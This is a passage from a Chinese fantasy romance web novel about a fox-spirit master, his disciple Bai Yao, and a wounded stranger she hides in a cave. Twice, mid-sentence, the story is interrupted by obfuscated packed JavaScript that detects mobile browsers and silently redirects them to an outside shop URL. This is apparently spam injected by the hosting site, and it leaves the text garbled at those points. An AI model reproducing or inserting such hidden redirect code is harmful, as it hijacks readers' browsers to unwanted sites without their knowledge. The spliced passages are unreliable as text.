几人被一阵狂风吹得连连后退,睁也睁不开眼。风中砂石锋利如刀,砸得几人身上开了口子,慌不择路地向镇上逃去,远远喊道:“救命啊!女鬼杀人了!” 看来美人舫虽然消失在了九曲河上,但它的传说却会继续流传下去。 须臾,河边恢复了平静,只剩下了白瑶一人。 白瑶眼睛又亮了起来,低头对狐狸说:“师父,我们回家吧。” 。 山外云境。 关上了数日的门突然被推开,正在院子里捉虫的山大王停下脚步,兴奋地回头...... 只见白瑶抱着一只毛色光线发亮的狐狸走了进来,一人一狐神情一致,一齐抬眼向它望来。 “咯咯咯!”山大王一阵惊恐地扑腾,落下了几根鸡毛,躲去了树后,侧着半边身子用一只眼睛暗中观察。 怎么回事?难道他们养了只鸡还不够,还要让鸡和狐狸同住一处?这也......太为难鸡了! 那狐狸虽然将它的动作收在眼底,神色却没有丝毫起伏,好似对山大王完全提不起兴趣,一点也没有作为天敌应有的觉悟。 山大王心中纳闷,难道它就这么没有魅力?它若是没有魅力,那这座山就没有鸡有魅力了! 白瑶小心翼翼地将那只狐狸放在院中的石桌上,轻声说:“师父,你先歇会儿,我去煮茶。” 原来是晏离公子。山大王长舒一口气,这才敢从树后踱步出来。晏离公子喜清淡,应该不会对它这样油腻的东西感兴趣。它得好好休养,要努力让自己多囤点肥膘,这样才安全。 回到山外云境几天,晏离一直未恢复成人形,白瑶有些怏怏不乐,趴在院子里的石桌边捏着一根狗尾巴草转来转去。狐狸就卧在另一侧,偶尔抬眼惺忪地扫一眼,不多时又闭上眼假寐。 师父什么时候才能变回来?白瑶望着白的发光的毛发发呆,一不留神手中的狗尾巴草落在狐狸的鼻尖。微风吹拂,狗尾巴草微微摇晃,狐狸突然打了一个喷嚏,将发呆的白瑶吓得从椅子上站了起来。 四目交汇,白瑶看看狐狸又看看手中的狗尾巴草,突然将手背到身后,将狗尾巴草藏了起来,对着狐狸傻笑道:“我不是故意的。”多少有点欲盖弥彰的味道。 狐狸眼中露出一丝不悦,白瑶欲哭无泪,瘪了瘪嘴:“师父你要相信我啊,我真的不是故意捉弄你。” 狐狸支起身体,向桌边走了两步,轻巧地一跃,跳到地上往屋内走去。 白瑶虽然不是故意,但回想起刚才狐狸打喷嚏的样子,不禁勾起唇角偷笑了一下。狐狸的脚步一顿,缓缓回头抬眼看了她一眼,她立刻绷住表情,变作一副苦大仇深的模样。 狐狸回过头继续往屋内走去,脚步轻而优雅,恍若一位翩翩公子。白瑶跟在他身后,殷勤地问道:“师父,你饿不饿?想吃点什么?” “狐狸是不是要吃肉?”说着,白瑶突然扭头两眼放光地看向门口散步的山大王,山大王身上一寒,双腿战栗起来,十分僵硬地往她视线的死角挪移。 “啊!有了!”白瑶忽然叫道。一旁的山大王吓得一个扑腾跳起来,飞快地跑回了自己的鸡窝里瑟瑟发抖。 白瑶从厨房取出了那罐在前往九曲镇之前她亲手做的盐渍青梅,尝了一颗,眉头一皱,“哇”的一声吐了出来。时间不够,味道又酸又苦。她灵机一动,盖上盖子,用仙力加快了罐子里水分渗透,再打开时青梅已经腌制透了。 狐狸懒懒地抬了一下眼,漫不经心地扫了一眼她递上来的东西,尾巴一卷一抛,稳稳衔住那颗青梅,细细咀嚼须臾,缓缓吞了进去。 动作丝毫不像一只禽兽,倒是比人还要优雅三分。白瑶似乎能从他的神态、动作中想象出若是以人的形态,晏离现在会是什么样子,举手投足一定也是透着高冷与雅致。 她脸上莫名浮现红晕,狐狸淡淡瞥了她一眼:“怎么了?” 她赶紧摇头摆手:“没事没事。” 狐狸多看了她一眼,深思的目光让白瑶突然紧张起来,心跳莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137805|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急促了几分,她急中生智指着他的脚说:“师父,你几天没沐浴了吧?你看,这里都弄脏了。”白瑶说完就想给自己一巴掌,晏离喜干净,虽然变回了狐狸不能每日沐浴,但也受不得身上沾灰。 听她冷不丁提起这事,他的神色更加冷沉了几分,不悦之色快要从眼中溢出,似乎下一秒就要用最刻薄的语言将白瑶责骂一番。 白瑶也是不明白了,她平日里还算机灵,怎么到了晏离这儿就好像怎么说怎么不对。她从小到大什么时候需要想方设法讨好别人?可偏偏她还觉得挺有意思。 于是,白瑶突然大胆:“师父......我帮你洗洗吧?” 说罢,也不等狐狸作出反应,立刻用盆子打上温水,将狐狸抱到房间,在山大王瞠目结舌之中,关上了房间的门。 狐狸怎么也没想到白瑶能够如此大逆不道,一时没有反应过来,就在怒意上头之时,一泼温水浇头而下,将他立起的毛发浇落下去。 白瑶摸了摸狐狸的脑袋,温柔地说:“别怕。” 晏离此时是真的怕了,他从未想过自己高洁了数万年,竟然一夕之间要败在自己的徒弟手上。 白瑶抓起狐狸的两只前爪,细心地帮他搓洗,搓完了又换后肢。四肢清洗完了才犯了难,虽然她说要帮晏离洗洗,但晏离的身子她也不敢真动手啊。 看她有贼心没贼胆的样子,狐狸气笑了,声线越发冷硬:“滚出去。” 白瑶慌不择路,关上门在门外幽幽松了一口气,脑中却不自觉浮现在美人舫上看见的画面。那个假白瑶攀附在晏离身上时,晏离眼中那说不清道不明的神色,如江上蒙蒙烟雨,实在朦胧得让人难以抗拒。 不多时,门内传来冷沉的声音:“进来。” 白瑶低着头走进去,随手拿起衣架上的长帕,给湿漉漉的狐狸擦身。 她擦得心不在焉,不知哪里又惹晏离不悦,狐狸浑身一甩,毛发上沾的水尽数溅到了白瑶的身上。 白瑶拿着帕子狼狈地愣在一旁,似乎对晏离这样顽劣的动作感到不可思议。 狐狸媚眼漠然瞥了她一眼,四目相对,白瑶看到他陡然眼神一变,居然闪过了一丝惊愕。 晏离浑身颤抖,压着声音似乎在极力地忍耐着什么,喑哑低沉地吼道:“出去。” 白瑶懵懵懂懂地啊了一声,疑惑地站起来,向门边挪移,不明所以地朝身后看了一眼。 “出去!”又是一声带着压抑的厉喝。 白瑶不敢不动,就在往后挪移时,突然一声: ——砰 房间里陡然升起一团白雾,包裹住了狐狸的身体,而后白雾渐渐消散,匍匐的身体直立起来...... 朦胧白雾之中,青丝如瀑布一般垂下,露出若隐若现的曲线和皮肤,苍白的面容上,肉色薄唇紧抿,剑眉冷然蹙起,如雾般的眸子缓缓睁开...... 在他的目光尚未触及清明时,只听猝然一声尖叫,而后是椅子倒地的碰撞声、慌不择路的脚步声以及门在晃动中发出吱呀声。 须臾,晏离望着一片狼藉的房间,眼中划过一丝意味不明的神色,再往深处又恢复了往日的清冷。 142. 第 142 章 一年后的某天,白瑶在院子里拿着一根狗尾巴草逗山大王。山大王挥动着油亮的翅膀,咕咕咕地追着她跑,毫不客气地啄着草上的细叶。 山大王被白瑶养的极好,毛色发亮,鸡冠像一朵鲜艳的红花。早上一声威风凛凛的啼鸣,声音高昂,响彻群山。而后昂首挺胸地在院中漫步,偶尔也去山上转悠,趾高气昂地从鸡群身旁路过,看鸡群对它俯首陈臣,然后心满意足地回去。 这天山大王不知怎的有些烦躁,狗尾巴草几下就啄秃了,然后冲白瑶扑哧扑哧地煽动翅膀,在她耳边咕咕咕乱叫。白瑶通灵之力渐长,对小动物的语言能略知一二。平日和山大王混熟了,也能知道它是什么意思。 但这一次,山大王躁动得毫无理由,白瑶不由地跟着烦躁起来。 屋外一阵喧嚣,晏离出门时就看到一人一鸡跨越高山飞跃屋檐,在院子里你追我赶,扬起尘土无数。 这样下去再过几年,山大王就能成精了。 白瑶见晏离出门,不再跟山大王浪费时间追逐,一把抓住它的翅膀,将它从树上逮了下来。 “怎么如此吵闹?”晏离问。 白瑶走到晏离跟前,提起一脸“我不服”的山大王:“谁知道它中了什么邪?今天一天都不安生。” 晏离垂眸,目光落在山大王身上。山大王心里一冷,豆豆眼立刻闪躲地看向了别处。 就在它觉得自己快要窒息的时候,翅膀突然一松,它咕咕咕地落在地上,立马一溜烟逃开了。 只见院外飞来了一块巴掌大的纸鹤,落在白瑶的面前,她面上一喜,伸手托住纸鹤,那只纸鹤渐渐褪去光芒,变成了一张巴掌大的信纸。 “是宫里来的消息。”白瑶眼睛忽的一亮,渐渐挺直了身体,脸上的表情紧张又雀跃。她舔了舔嘴唇,嘴角微微上扬:“真哒?”她抬起明亮的眼眸望向晏离,眼波流转,好像阳光照耀下的闪烁的宝石,欣喜之情溢于言表:“我有弟弟了!” “我要马上回宫!我要看望母上、父君和弟弟!还有有苏先生!我走的时候都没有和他告别,他一定很惦念我。我要将离宫后发生的事情告诉他。”白瑶一步一跳地冲回屋,雀跃的身影像一只小鸟,叽叽喳喳地从一头蹦到另一头。 白瑶很快离开山外云境,喧闹的院子在近三百年后终于再次安静下来。晏离又恢复了一个人的生活,他向来如此。 但若说与先前毫无变化,也不对,譬如,他须得每日晨起,替白瑶喂鸡。 那只肥美紧致的鸡并不需要他多此一举,但某个小家伙在临走前叮嘱他,一定不能忘了山大王。于是每日,山大王都在他冷漠的注视下,浑身颤抖地进食。 山大王也很不爽,你不想喂就别喂,用那种眼神看着人家怎么吃得下? 日复一日,晏离在山中修行,仿佛白瑶的去留对他毫无影响。起初并没有不妥,只是日子久了,偶尔深夜沉睡之时,他会突然清醒过来,目光似乎透过房门,穿过厅堂,望向屋子的另一侧。 那个打扰了他三百年的人,现在应该在宫里享受着与这里全然不同的锦衣玉食,那里有真正关爱她的亲人、先生。也许这次回去,她会发现宫里才是适合她生长的地方,这里的一切不过是她沉闷生活中短暂的插曲。他的生活那么枯燥清淡,如同一滩平静无波的湖水,看她拿到信后欢欣雀跃的样子,恐怕是早就腻了,只是寻了个机会,回到原本的轨迹罢了。 晏离不知道白瑶还会不会回来,他也不在乎。 山大王等白瑶回来等得都要抑郁了,它是白瑶抓回来的,白瑶才是它的主人。若是白瑶不在,它留在这里干嘛?干嘛?看那个冰块脸吗?冰块脸近来越来越冷漠,三尺之内都能感受到他散发出的寒气,真是要了命了。 它若是再待下去,会不会变成冰冻鸡? 于是山大王开始计划出逃路线。 这座山恐怕不能待了,在这座山上与晏离低头不见抬头见,多尴尬啊。但是换一座山它还能不能称王就不一定了,生活质量会肉眼可见地下降。 进入后半夜,山中弥漫着凉薄的雾气,离山大王清晨第一声啼鸣还有半个时辰,晏离本不想理会窗外的动静,但不知怎的脑海中突然浮现白瑶追着山大王满山头跑的样子。 轻盈的身姿在山头跃动,为寂寥的深山添上了几分生气。 好不容易抓住,她会轻易放过吗? 门吱呀一声开了,山大王抬起的脚还未着地,就被一股力量吸了回去。它晕晕乎乎地转了个圈,明白怎么回事后,骂骂咧咧起来。 山中的生灵被吵得不耐烦,今天的鸡鸣好像格外早一些。 踏着晨曦,一声又一声啼鸣响起。 山大王挥动翅膀在院子里无法无天地上蹿下跳,以示抗议。晏离并不理会它的抗议,山大王叫嚣了一阵只觉没趣,声音愈渐低迷。 就在院中恢复沉寂时,门口突然传来一声清脆的大喝:“山大王!你在吵什么!”一个灵巧的身影不知从哪儿窜出,山大王还没看清是何方神圣,只觉得头皮一紧,两条细腿不由自主地开始逃跑。 等等......为什么要跑? 山大王停下来,翅膀一痛,被人抓了个正着。 “我不在的时候,你是不是又给师父添麻烦了?”一人一鸡大眼瞪小眼,好一会儿山大王才反应过来,开始剧烈的挣扎"咕咕咕“,好像在说“明明是他给我添了很多麻烦好不好”。 院子里不知何时多了一袭清雅的白衣。 白瑶一见晏离哪里还顾得了山大王,手上一松,向晏离扑去。 晏离虚晃而过。 白瑶也没想能扑到他,于是站定笑嘻嘻地望着他,目色明媚自然,好似与先前一般又好似有些不一样:“师父,我又回来了。是不是没想到我还会回来?” 几月不见,她好像长大了一些,眼角的青涩渐渐褪去,看上去宛如婷婷少女。她穿着柔粉色的纹花饰霓裳,两缕长发与绸带编织的辫子垂在胸前,头上还缀着几只精巧的珠花,摇晃之间如同蝴蝶的翅膀微微煽动。她描了眉,细长的眼睫如一把小扇,淡淡的脂粉将她衬的唇红肤白,愈加灵动鲜活。 白瑶难得打扮一番,扬起脸:“怎么样?好看吗?” 这副打扮太过繁琐,却十分衬她。晏离平淡道:“不难看。” 白瑶心领神会地抿嘴笑了,忽然手上一托,化出一柄水墨金竹伞递到他面前:“师父,这是我给你带的礼物,我觉得它很衬你。” 晏离垂眸扫了一眼她手上素雅的伞,确实合他心意,便不推拒收下,又问:“修炼可有落下?” 白瑶面上一滞,眼神飘忽起来:“真是的,这么久没见,就不能问点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137806|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的吗?师父,你就不好奇我有弟弟了吔!” 白瑶不等他过问,接着比划道:“弟弟小小软软的,抱起来才这么大,一双眼睛圆圆的,和母上爹爹可相像了,听说我小时候也是这副模样。 “有苏先生说我小时候可调皮了,希望弟弟不要学我。学我怎么了?我虽然调皮,但也是聪慧非常!不过这小子如果敢给母上爹爹惹麻烦,我定是要回去收拾他的。” 说着说着像是突然想到了什么一般,表情又带着几分焦虑:“可是凝寒叔叔不知为何生病了,他一直卧床不起,母上父君事务愈加繁忙了。” 她皱着眉头,神情不似刚才明朗,反而让晏离不习惯,心里仿佛也跟着泛起一丝异样。 他从不在乎别人的感受,那位凝寒主君如何也与他无关。但,须臾过后,他轻飘飘地落下一句:“凝寒将军吉人自有天相,会好的。” 白瑶眼睛一亮,用力地点点头:“对,我母上和父君想尽了办法,一定能治好凝寒叔叔。” 白瑶这次回来后,不知为何温顺了许多,对晏离多了一丝讨好的意味。她常常偷偷地望着晏离,目光灼灼不加掩饰。她以为晏离不知道,但晏离是何等聪明,她的一举一动都在他的眼里。 晏离渐渐察觉出不对劲,以为是她终于开窍,想要勤加修炼,于是给白瑶增加了修炼的难度。白瑶虽然无奈,但只要晏离布置的任务,她照单全收。不久,修为实现了突飞猛进。 每每训练完了,白瑶总是会凑到晏离的跟前要奖赏。 起初,是一句夸赞。 而后,胃口越来越大。 她说,小孩子是需要关爱与奖赏的,不仅仅是语言上的,还有肢体上的。师父,你虽然夸了我,但是你身体冰冷又紧绷,一看就是言不由衷。冰冷的语言不要也罢,你可以给我一个鼓励的拥抱吗? 晏离自然不会答应她。 但她修炼起来越发拼命,仿佛不得到晏离点头誓不罢休。 晏离有一门独创的仙术叫做游云冰破,是释放仙力包围住猎物,然后在一瞬间将仙力凝成寒鞭,束缚对方的同时接连爆破,威力巨大。白瑶初见时便对这门仙术惦记上了,晏离在使用时那天人之姿实在太仙太美,叫她目光全然无法挪移。 白瑶躲在树后偷看晏离修炼,若是往日她可从不会做这样偷鸡摸狗的事,但现在不知为何想要认认真真地看上几眼,都觉得脸上有些发烫。 当年晏离炼成游云冰破耗费了整整七年的时间,她说,师父,如果我能在五年内炼成,你可以答应我一个要求吗?她太过喜形于色,想的什么主意一看便知,晏离绝不会轻易跌入她的陷阱。 白瑶怂恿他道:“师父,游云冰破多难啊,您都修炼了七年才炼成,寻常人恐怕得二十年甚至两百年都未必能学会。我若是真能在五年内学会,难道还不值得一个小小的要求吗?” 晏离迟疑了一下,白瑶根骨不错,只是她生性贪玩,眼高手低,在他跟前修炼近三百年虽然掌握了大部分仙术,但基本功却不扎实。以她对仙力的掌控程度,想要在短短几年之内炼成,实属不易,或许很快她便会放弃。 晏离没有答应也没有拒绝,在白瑶的眼中便是答应了。 白瑶从此起早贪黑,连山大王都顾不上,一心要将晏离......哦不,游云冰破尽快拿下。 143. 第 143 章 五年时间对神仙而言委实算不得什么,只是这五年白瑶日日废寝忘食,修炼比先前刻苦许多,晏离看在眼中,对她的目的越发不能理解。 白瑶一身青葱色的长裙静静站在一片林中空地,云袖下垂掩住了手掌,目光映着幽深的绿色。深深的杂草隐匿了她膝盖以下的动静,一阵清风拂过,杂草随着气流向两边微微荡开。 她额前的碎发随风而动,眼中神色一变,袖口释放出大量白色的仙力。如云似雾般轻盈清透的仙力弥漫扩散,带着丝丝凉意。日光照耀在薄雾一般的仙力上,反射出一道彩色的虹光。 忽然虹光一颤,弥漫的雾气像是被一股力量抓住,突然开始迅速向回收拢。白色的仙力凝成了一股鞭,在草丛中游走,草叶哗哗作响。 白瑶屏息凝神,眼神一凌,忽然甩袖。随着她抖动的手臂,草丛中传来窸窸窣窣的声音,长鞭快速移动起来。突然白的几斤透明的长鞭从草丛中弹起,直直击向远处树下负手而立的白衣身影。 晏离抬眼,瞳孔中倒映出那散发着寒气的长鞭,游动的长鞭在他面前陡然停住,离他的眼睛只有一寸的距离,忽而化作僵硬的冰柱,再难向前半分。 晏离眼睫微颤,映在他瞳孔中的冰柱四分五裂,碎成了一片片的菱形渣渣。 白瑶倒吸一口冷气,急忙往回收,只收回了近旁还未冻住的仙力。 白瑶脸上稍显慌乱,完蛋!她就是想在晏离跟前炫耀一下,他该不会生气了吧?待她将仙力收回来,试探性地问:“师父,你答应我的还作数吗?” 晏离波澜不惊地问:“你做的可好?” 白瑶眨眨眼睛:“这五年我勤学苦练,一日也没落下,师父你知道的。” 晏离转身向山外云境的方向走去,清冷的声音抛在脑后:“我不知。” 白瑶着急了,紧紧跟在他身后叽叽喳喳:“可是单论学会游云冰破,我已经掌握得很好了。若不是师父你答应给我奖励,我才不会这么用功修炼。五年不论风吹日晒我一天都没有休息,那游云冰破需要寒气,我手都冻僵了好几次。师父,你该不会是想抵赖吧?” 晏离停住脚步,两个身影定格在草丛间相距一米的位置。 须臾,他缓缓转身张开双臂,面上依旧平淡无波。 白瑶忍着笑意问:“师父,你这是做什么?” “这不就是你想要的?”晏离问。 白瑶唇边的笑意越来越大,摇了摇头,眼中略带揶揄:“非也非也,我当初确实想要一个拥抱,但是现在不想了。至于要求嘛,就先欠着,以后什么时候我想到了再向师父讨回来。”说着,三步并作两步轻快地从晏离跟前跑过,乌发在身后扬起一道优美的弧线,好似什么也未发生一般轻巧带过。 晏离孑立在竹林中,望着她远去的背影,肩上蓦然一松。 时间的车轮滚滚滚到了百年之后,天界神魔大战一触即发。 天庭与魔界的战事并未波及青丘,更不要说远在山野之中的白瑶。她只在出门时听了些许小道消息,便津津有味地说给晏离听。 譬如,天庭、青丘、魔域三地相安无事多年,新任魔域之主不知突然发了哪门子疯,上任不久位子还没坐热就对天庭发起进攻。天庭是正道,自然不能任由魔域欺压,于是派出了某英姿飒爽、天赋卓绝的天界上神一举歼灭了一众魔兵。 魔域很快不敌天庭。魔域之主在神魔大战中惨败,受了重伤逃回魔域。按道理天庭不会善罢甘休,但不知从哪里又跑出一号人物名叫凤钰,从天庭偷走了什么宝贝。 这宝贝据说有些来头,但一问却无人知道是什么来头,总之就是大大的厉害。天庭内忧外患,注意力又转移到了这个盗贼身上。 天庭、魔域乱成一锅粥时,只有青丘明哲保身,始终没有正面参和进去,依旧风平浪静。 至少看上去风平浪静。 白瑶在想方设法吸引晏离注意的道路上越走越远,晏离知道这不对,于是刻意疏远了她。 不知是不是这举动奏效,白瑶近来安分了许多,每日早出晚归修炼,像是无暇顾及身后之事。让晏离感到欣慰的同时,产生了丝丝疑虑。 他不想清净的日子被白瑶打扰,但也不想白瑶沉迷修炼,变得和他一样冷漠。 白瑶回来得越来越晚,常常踏着晚霞,披着星辰回到山外云境。一回来,就径直躲进房里。 有一次回来时撞见晏离正在院子洒扫,她推门而入,匆忙看了他一眼,若无其事地向屋内走去。怪异的感觉猝然涌了上来,在她擦肩而过时晏离突然出声:“今日修炼得可好?” 白瑶似乎抖了一下,目光不那么直白地看了晏离一眼,说:“和往日一样。” 晏离眼睫微颤,她说话向来繁琐,这次居然只有五个字,看来是想快点结束谈话。 “往日是什么样?” 白瑶眨眨眼,不觉提起一口气:“当然是和往日一样辛苦修炼啦!师父,我可没有偷懒,你要是不信不如考考我?不过要是我通过了,你要给我奖励。” 晏离平淡地问:“什么奖励?” 白瑶顿了一下,不怀好意地笑了一下:“没想好,先欠着。” “若是没有其他事,我就先回去了。”白瑶轻快地溜回房。 晏离望着她的身影陷入沉思。 白瑶关上门的瞬间,紧绷的神情突然一松,拍拍胸膛小声嘀咕:“吓死我了。” 一夜安稳,白瑶早早地上山,美名其曰日常修炼。 她神态自若地走出山外云境,一离开晏离的视线,脚步就不由自主地加快起来。 点点日晖在她身前引路,斑驳的树影在身后如潮水翻涌,不一会儿她跑进了深山鲜有生灵问津之处。她站在一个被枝叶遮挡的山洞前左顾右盼,然后小心翼翼地抬步走进去,未走几步就听到山洞深处传来沉闷的“咳咳”声。 她赶紧走到了山洞深处,借着洞外的一点微光望向倚靠在墙脚的人影,顿时眉头一敛。 那人身形高大,五官硬朗又深刻,轮廓棱角分明,俊朗如山。一双剑眉斜飞入鬓,眉间紧锁,脸色苍白,薄唇随着呼吸微微颤抖。 他明明意识不清,但身上却绷得很紧,抱着双臂倚靠在墙角,披散的黑发和身上的血渍添上几许搏杀后的惨烈,一身黑色劲装带着肃杀之气,好似一只假寐的野兽,带着警惕与防备,随时准备睁开眼睛狩猎,让人望而生畏。 白瑶悄然靠近了一步,对方缓缓睁开眼睛,那漆黑深邃的眼眸中倒映着她清丽的影子,就像一口深不见底的寒潭之中,突然绽开了一朵白色的小花。 “滚!”他几乎是无意识地低吼一声,喑哑的声音在山洞内回荡。 白瑶瞪着他,没有继续靠近也没有离开。 七天之前,她独自上山修炼,这位兄台就倒在她上山的必经之路。 他一身黑色,头发散乱,身上污迹斑斑,一看就不是什么好人。白瑶本想将他随手从山崖上丢下去,但抬手时,碰巧拨开了他脸上的散发,那张脸居然颇有几分姿色。再看看他高大的身型和奇异的根骨,不像是普通的山野村夫。 死了委实可惜。 他尚未愈合的伤口因为震动撕裂,低头喘息几下,胸口随之起伏,空气中又添上了一丝血腥气。 白瑶才不会退缩,她走上前从放在一旁的草药堆里拿出一把,摘了叶子双手搓揉了几下,揉出了 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“大胆狐妖......嗯......"伤口一痛,白瑶的手又狠狠地压在了他的身上。 “我现在是你的救命恩人,你就这么跟我说话?”白瑶明目张胆地在他伤口处捏了捏,血迹渗透衣衫,空气中涌现一股更加浓烈的腥气。他合理怀疑,如果没有这个女人,他说不定能愈合得更快。 “阿华......” “别叫我阿华!"他愤愤地打断她。 白瑶眯了眯眼,似是不爽:“我问你叫什么,你半天只说了个华,不叫阿华叫什么?” 他用危险的神色看着她,良久:“我叫华尧。” “华尧......"白瑶喃喃。 华尧略带紧张地问:“你知道这个名字?” 白瑶莫名其妙地睨了他几眼,哼哼道:“你是天界重要人物吗?我为什么要知道?” 见她神色淡然,没有反应,华尧的身体才放松了些许。 白瑶给他换好药,收拾了一下准备离开。华尧的余光落在她那双纤细白嫩的手上,思索着她不像是经常干活的人,她会是什么人?救他有什么目的? “你呢?”他突然出声:“你叫什么名字?” 白瑶眨眨眼睛,灵机一动:“我叫小闲,忙里偷闲的闲。” 华尧沉闷地嗤笑一声:“这也是人名?” 白瑶气鼓鼓地瞪着他:“怎么不是人名?名字承载着美好的向往,我就想偷得浮生半日闲,不是永远的闲适,而是在百忙之中短暂的休息,已经很努力了好不好?” 华尧的目光落在她的脸上:“你若是事务繁重,为何救我?” 白瑶勾起唇角,目光灼灼地看着他,兴奋道:“我看你有几分姿色,觉得让你在身边做个侍卫也是极好的,正好我身边也缺一位替我打点杂事的人。我救了你又给你安排了差事,解决你往后的生存问题,你可要好好报答我,认真干活啊。”那神色颇像是个纨绔子弟,一本正经地说的不着调的话,让人不知从哪里开始反驳...... 华尧眼神闪烁,偏过头去,强忍着不将她骂个狗血淋头。白瑶见他没有拒绝,心上一喜,以为真白捡了一个便宜劳动力。 她眼中迸发出异样的光彩,起身道:“你别乱跑,我明天再来看你。”然后毫无留恋地向外走去。 华尧撑起身体,问:“你要去哪儿?” 白瑶回头笑着说:“我要回家。” 回家这么开心?家里有人在等她吗? “别告诉别人。”华尧沉闷的声音从洞内传来。 “知道。”少女轻快的声音消失在洞口。 144. 第 144 章 白瑶鬼鬼祟祟地走进山洞,一抬眼没有看到华尧的身影,呼吸微微一滞。遂,眼神在山洞内飞快扫视一圈,发现那位兄台只是挪了个地方睡大觉。 白瑶松了口气走上前,就在她抬步的瞬间,华尧突然睁开眼睛警惕地看过来,那双眼睛在昏暗中如狼眼一般闪着幽幽的光。她身上陡然一僵,像是被扼住了后颈,身上寒毛直竖。 须臾,紧绷的气氛莫名一松,华尧收回目光。 白瑶走上前踢了他一脚:“你,做什么吓人?” 华尧带着森森杀气冷声道:“管好你的腿,除非你不想要了。” 白瑶心里咯噔一下,觉得他凶神恶煞的样子颇为骇人,还真有几分做侍卫的潜质。 “你还挺像回事。若不是我在外头救了昏迷不醒的你,你现在肯定已经被山里的动物分食了!不过你身上的肉太硬,青丘的动物也不是什么都吃的,说不定能留下几块残渣。” 华尧目光不善地盯着她,沉声问道:“你怎么知道我身上硬?” 白瑶不仅没有被吓到,反而捏着嗓子说:“哎呀,我不小心摸到了,手会不会变黑啊?” 华尧深沉地盯着她,在昏暗的山洞中,漆黑的眼眸看不清是什么神色。须臾,见她神色坦然,约莫是自己想多了,她并没有恶意,就是天生嘴欠。 “你住在哪里?”华尧问。 白瑶警惕道:“你问这个做什么?” “我会负责。”他看着白瑶,用一种极是认真的口气说道。 白瑶一愣,扯了扯嘴角,下意识向后挪了半步:“哈哈我开玩笑的。”她低下头整理起草药,嘟囔道:“我给你上药时不小心碰到的,硬得膈手,白让我摸我都不要。” 华尧陷入沉默,却依旧紧紧盯着她,好似要在她身上盯出一个窟窿。 白瑶不明白自己怎么又得罪他了,赶紧换了个话题,问:“你是怎么受的伤?” 华尧迟疑了一下,说:“被野兽追赶不小心落下了山崖。” “啊?哈哈哈哈哈哈......你也太倒霉了,跟我说说是什么野兽,我帮你揍它!” 华尧看向低头忙活的白瑶,语气中隐隐有些不屑:“你?” 白瑶从袖口取出一把刚摘的新鲜草药,捡出几根嫩叶放入口中边嚼边含糊道:“我怎么了?你连山里的野兽都打不过,怎么给我做侍卫啊?” 草药味道苦涩,白瑶脸色一挎,不禁打了一个寒噤。一回头见手中空空如也,那把草药被华尧抢了过去,揉成一团丢进了口中。 他挑衅似的瞪着白瑶,大口嚼了几下,然后一口吞下。 白瑶愣是被他一系列动作搞懵了:“你还挺能吃苦。” 不知是不是错觉,她觉得华尧的脸色好像更白了,却强忍着苦涩,扯了扯嘴角说:“良药苦口利于病。我堂堂一个男子,怎么会怕吃苦。” 白瑶若有所思地点了点头:“可是那是活血化瘀的草药,我拿来调理葵水的,你跟我抢做什么?” 华尧的目光微滞,突然涨红了脸,俯身干呕起来。 白瑶幸灾乐祸地笑道:“吃就吃了呗,吐出来多浪费啊。” “你......”华尧伸出一根手指,软弱无力地指向白瑶。 白瑶挺直了身板,抬起下巴对着他道:“我怎么了?我没有责怪你抢我的草药,难道你还想倒打一耙?这就是你说的堂堂一个男子?” 华尧脸色一白,俯身愈加激烈地干呕起来。经过这一折腾,他愈合的伤口又渗出血,浑身无力地瘫倒在地上,脸色发青,已是进气少出气多。 白瑶蹲在他身侧愁容满面地看着他,用指尖戳了戳他凹陷下去的脸:“喂,你该不会要死了吧?” 华尧张了张口,白瑶低头侧耳:“你想说什么?你放心,有什么放不下的事都可以告诉我,我......” 华尧喘息的喉咙发出沙哑的赫赫声。 白瑶眼神坚定,握紧了拳头:“我不会告诉别人的。” 华尧眼中最后一点光芒散去...... 又过几日,洞外的坟头草......不,是野草,又长高了几分。 洞内昏暗,华尧脊背绷直盘腿坐在避光处,阖着眼睛,双手随着呼吸在身前运功。他受的皮肉伤早已愈合,气色比先前好了许多,运功时手臂的力量也恢复得七七八八。蓝色的光晕附着在他的手掌,如同一团雾气渐渐从掌心向上弥漫,攀上他的手臂,将他的躯体包裹在其中。 蓦地,他睁开眼睛,手上的仙力顿时一收,如烟消云散,好似什么也没发生过一样。 洞内静谧了片刻,响起了嗒嗒嗒嗒的脚步声。 几日未见,白瑶若无其事地走进洞里,见到华尧还未离开,眼睛一亮:“太好了你还没走。” 华尧不明白哪里好了,又见她从身上挂的乾坤袋中取出一件素色的袍子,样式简单、干净整洁,只是有些旧了:“你一身腥气,我给你拿了件衣服,你快换上。” 华尧的目光落在那件浅色衣袍上,那件衣服显然与他风格大相径庭,还带着一股淡淡的清香。不知她是从哪里弄来的这件衣裳,以他这些天对这个女人的了解,该不会是在路上将什么人的衣服扒了。 “这衣裳哪里来的?” 白瑶避而不答,只说自己想办法弄来的,至于出处不用他管。 华尧目光一沉:“我不穿来历不明的衣服。” 白瑶正在摆弄手中的衣裳,听他一口回绝,提起一口气道:“你这人怎么回事,我好心好意给你带了换洗的衣服,有干净衣服换还不知足,这荒山野岭的,哪儿来的新衣服?” 华尧面色深沉,眼中似有乌云翻滚,扭头斩钉截铁道:“我不要。” 他不愿意白瑶也不能强迫他,只能闷闷地收回袋中,突然头顶披下一片阴影,抬头一看问:“你做什么?” 华尧没有回答她,径直向洞外走去。 